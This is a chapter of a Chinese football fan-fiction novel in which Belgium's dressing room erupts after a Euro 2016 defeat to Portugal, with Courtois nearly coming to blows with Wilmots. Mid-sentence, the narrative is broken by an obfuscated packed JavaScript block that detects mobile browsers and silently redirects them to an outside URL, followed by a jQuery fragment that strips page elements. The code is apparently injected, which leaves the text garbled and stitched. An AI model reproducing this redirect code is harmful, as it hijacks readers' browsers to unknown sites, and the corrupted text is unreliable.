失败的感觉并不愉快。
看着球场上的葡萄牙人庆祝着闯入四强,而自己只能在场边思考回家的问题,西里尔感觉有些不爽。但在18岁里,这点烦闷也像是升腾的肥皂泡,在几个呼吸之后被轻飘飘地吹破了。
毕竟这才是他的第一届欧洲杯而已。
他最不缺少的就是时间,还有机会。
阿扎尔蹲在地上揉了揉脸,过了几秒钟,比利时队长站起身,他走到还在躺在地上的队友身边,将他们拉起来拍了拍后背。
几乎每个比利时人的脸上都写满了疲倦和不快。
库尔图瓦尤其如此,甚至曾经输掉欧冠决赛时,青年看起来都没有这样怒火中烧。重蹈覆辙,这是他最讨厌的事情之一,此刻他把手套狠狠摔向草皮,动作幅度大到让旁边的葡萄牙人都下意识避开了一步。
门将没有参与赛后拥抱之类的客套活动,径直走向了球员通道。
几秒后,通道里传来砰的一声,一个垃圾桶被踢翻了,塑料瓶和纸团滚了一地。
西里尔跟在后面走进球员通道。
葡萄牙的歌声在十几分钟后传了进来,C罗走在最前面,硬挺的五官上笑容满面,甚至还有心情整理一下发型。西里尔朝他走过来时,这位皇马的球星迅速将那个在场上给他们不断制造麻烦的23号和他的脸对上了号。
“可以交换球衣吗?”西里尔说,“我有一个朋友很崇拜你,他叫马泰斯·德利赫特,是个在阿贾克斯踢球的中卫。”
葡萄牙人挑了下眉毛,赢球带来的好心情让他显得十分宽容,表情里流露出前辈对晚辈的打量与骄傲。他显然没听说过什么德利赫特,但他对这种年轻球员的崇拜习以为常。
他痛快地脱下了自己的球衣。
收起那件球衣后,西里尔朝着比利时更衣室走去。
不幸的是,球场的隔音果然还是不够可靠,因为门内的愤怒已经隔着门板传了出来。
少年推开门时,库尔图瓦正站在更衣室里,战术板上的磁吸棋子掉了一地,威尔莫茨和他对峙、又或者该说争吵着。巴舒亚伊朝他比了一个嘴上拉拉链的动作,像他们这样的新人大多在角落里假装自己不存在,并不想参与进纷争之中。
西里尔把葡萄牙的球衣藏好了一点,像幽灵那样溜了进去。几个人转头看了他一眼,但只是确认了一下是谁。
没人有心情管他。
卢米埃尔球场的更衣室只有几十平方米,而这几十平方米里现在挤满了效力于各种豪门的球员。
这群心高气傲的天才在各自的俱乐部都是主力甚至核心,到了国家队,则不得不和一群没什么默契的人组队竞技。比利时是一个从没有团结传统的国家,三种官方语言,数个文化完全不同的民族,在国家队,真正将这群人黏合在一起的是对胜利共同的渴望。
现在,胜利没了。
“……战术?你跟我提战术?你的换人有任何战术可言吗?”
库尔图瓦的声音大得能听见回音。
威尔莫茨争辩道:“卡巴瑟利上场是为了增加防空高度!我们的后防线已经没有人了!”
“高度?他们那个进球是用脚捅进去的!”
更衣室里此前已经吵过一轮,先是互相指责失球和失位,现在则进展到了攻击主教练的战术和换人。
维尔马伦坐在长椅上,正弯腰解着球鞋的鞋带。阿森纳曾经的队长抬起头看着更衣室的争论,罕见地开口了:“蒂博说得太难听了,但我们的战术确实有问题,从第一分钟开始就是。我们在中场完全没有层次,大部分推进都在指望长传和个人突破。”
威尔莫茨转过头盯着维尔马伦,“你是在质疑我的安排吗?”
“我只是在陈述事实。”男人回应,他很少大喊大叫或者随意发火,这几乎是他表现得最尖锐的时候。
他说:“下半场,我们按自己的安排踢才创造出了机会。你觉得那是你的功劳吗?”
旁边的纳因戈兰笑了一声,这位罗马的中场核心性格一贯乖张,在高度职业化的现代足球,他照样是那个会在酒店房间里抽烟,并且无所谓触发烟雾报警器的人。威尔莫茨勉强容忍了他的任性,每次都会给他安排带阳台的房间,但在输球的时候,这并不能换来男人的好脸色。
“他当然觉得是他的功劳,毕竟比起教练,他更擅长当一个喊口号的政客。”
威尔莫茨的忍耐几乎到了尽头。
他的声音越来越大,其他人的也是,仿佛是在比赛谁的声音能压过谁一样。库尔图瓦在这件事上也表现出了他的求胜心,他在场上指挥后卫的声音在更衣室里同样洪亮,高大的身躯更是把其他人衬得像是走进篮球场的观众。
男人的手指直直戳在威尔莫茨的胸口。
“如果我是你,我就会在发布会上立刻宣布辞职。那就是你唯一能为这支球队做的事情了。”
主教练终于无法再克制下去了。
他47岁,当他在球场上叱咤风云,当他带领比利时杀进世界杯正赛的时候,这群毛头小子在哪?难道他们以为拿了几个俱乐部冠军、效力于几支豪门,就可以对他这样放肆了吗?
他猛地伸出手,重重地推在库尔图瓦的胸口上。
“滚出去!”威尔莫茨大吼道。
这一下推搡并没有让高大的门将后退半步,反而彻底点燃了肢体冲突的导火索。
库尔图瓦反手揪住威尔莫茨的领口。
“你敢动手?”青年英俊的面容被原始的愤怒占据了,他瞪着发红的眼睛抬起手,看起来下一秒就要挥拳砸向主教练。
“嘿!嘿!别动手!”
阿扎尔第一个反应过来,比利时队长从侧面冲上去,连忙抱住了库尔图瓦举起的手臂。但这次和中场休息时不同了,库尔图瓦像是要玩真的,阿扎尔一个人的力量根本拉不住暴怒中的门将,只有一米七三的青年还被拖着往前踉跄了两步。
“罗梅卢!过来帮忙!”阿扎尔大喊。
卢卡库呆了呆,接着赶忙冲了过来,他一把勒住库尔图瓦的腰,把库尔图瓦拼命往后拽,“松手!蒂博!松手!你疯了吗!”
其他人也终于反应过来,纳因戈兰、维尔马伦、阿尔德韦雷尔德……比利时人乌泱泱地涌上来拽住两边。
库尔图瓦和威尔莫茨被强行分开了。
但门将没有就这样善罢甘休,他泄愤一般抓起水瓶狠狠砸在墙上,喷出的清水打湿了墙壁,也波及了其他人的身躯。
附近的德布劳内遭了殃,青年今天出奇地沉默,尽管在场上他好几次对着失位的球员发火,但赛后他一直紧闭着嘴一言不发。此时男人眉毛拧在一起,他抹掉脸上的水滴,终于开口了:
“够了。你们难道不觉得丢人吗?”
进入国家队以来,西里尔第一次看见德布劳内和库尔图瓦交流——如果这能叫交流的话。
库尔图瓦立刻调转了目标。
“现在你来指责我了,凯文?”他转头看向德布劳内,怒极反笑,“你的传球失误了几次?你觉得自己踢得很好吗,猜猜看opta会给你打几分?”
这对从青梅竹马到分道扬镳的青年有着可以写上几十万字的过去,他们对于矛盾的理解也截然不同。库尔图瓦甚至觉得自己是帮好友看清了一个不值得相携一生的女人,当然,他是爱玩了一些,但那又怎样?区区荷尔蒙的悸动难道要胜于他们十年的友情吗?
令他失望的是,的确如此。更准确的说,是不被尊重胜过了他们十年的友
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551934|203311||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
情。
德布劳内的脸庞染上了和正面色彩毫无干系的红。
“你有说这些的资格吗?如果你少花点时间在更衣室里当发号施令的混蛋,多花点时间练练你的选位,那个角球根本进不去!”
“好了!”阿扎尔大喊,“我们输了,吵架改变不了比分。都冷静一点!”
“你当然冷静,埃登。”库尔图瓦冷哼了一声,“你进球了,明天报纸上只会写你尽力了,而我们会变成输球的罪人。”
阿扎尔不可置信地扬起眉毛,“你在说什么疯话?”
“我说错了吗?”库尔图瓦指着周围,“你,凯文,还有那边那个18岁的小子,你们在前场玩得开心了,我们在后面被葡萄牙人冲得像筛子。然后主教练换下前锋,让后防线背锅。”
在更衣室的混战里摸鱼了半天的西里尔抬起头。没什么人看他,很好。
他隐蔽地翻了个白眼。
他的回防可能和他的名字一样被库尔图瓦清除出了记忆,但这些时候就是这样,门将总是可以在赛后指责所有人,而他们这样的前锋,好吧,至少他们享受了几乎所有的聚光灯。
还有人想要说些什么,但更衣室的门被推开了。
文森特·孔帕尼站在门口。
虽然因伤错过了比赛,但他依然来到了法国,这届欧洲杯上他受邀担任了BBC的评论员,坐在演播厅里看完了这场难捱的半决赛。
作为这支球队六年的队长,他经历了这支球队从低谷走向复兴的整个过程。如果要和接过他队长袖标的下一任比较,那么阿扎尔是用个人魅力和巨星的能力领导着更衣室,而孔帕尼则在这里享有着无可置疑的威信。当他开始讲话,开始提到那些责任、球迷以及等待着的记者时,所有人都安静了下来。至少这时,疲倦的球员愿意聆听他的声音。
曾经,威尔莫茨也拥有这样的人心。
更衣室里的吵闹平息了,但那些愤怒和不满没有一并消失,它们只是等待着在另一个地方重新爆发。
也许是球员的家里,也许是赛后的混采区。
“西里尔!请问你对今晚的失利有什么看法?”
“更衣室里真的发生了争执吗?”
“你认为主教练的换人是导致输球的原因吗?”
尽管西里尔像是听不懂英语、法语、荷兰语和其他任何一种地球语言一样飞快地走了过去,但并不是所有人都和他想法一致。
当记者的麦克风递到库尔图瓦嘴边,接着颇为挑动争议地问及比利时是否需要一名新教练,库尔图瓦毫不犹豫地抨击了战术问题。
然后他说:
“这是一个我们可能再也得不到的机会。我在更衣室里已经向他表达了我的意见,但他必须自己做出决定。”
现在全世界都知道比利时的门将希望主教练下课了。
记者们高兴地有了头条,当然也不会放过在赛后新闻发布会煽风点火的机会。
“马克,库尔图瓦刚才在混采区公开批评了你的战术,并表示你应该辞职,你对此有什么回应?你会辞职吗?”
威尔莫茨面无表情的脸上看不出情绪。
“我说过我会在欧洲杯结束后做出决定,我不会在比赛刚结束就立刻决定去留。”他说,“现在大家都太激动了,我们还需要再看看。”
“那关于库尔图瓦的指责呢?他认为这是球队失去的最好机会。”
比利时的主教练终于有了表情,他扶了扶麦克风,成年人的体面回到了前议员的脸上。
“库尔图瓦在切尔西度过了一个糟糕的赛季,他感到沮丧,他赢得奖杯的梦想破灭了。所以,当然,我可以理解他的感情。”
这声音和他曾经维护球员时一般无二。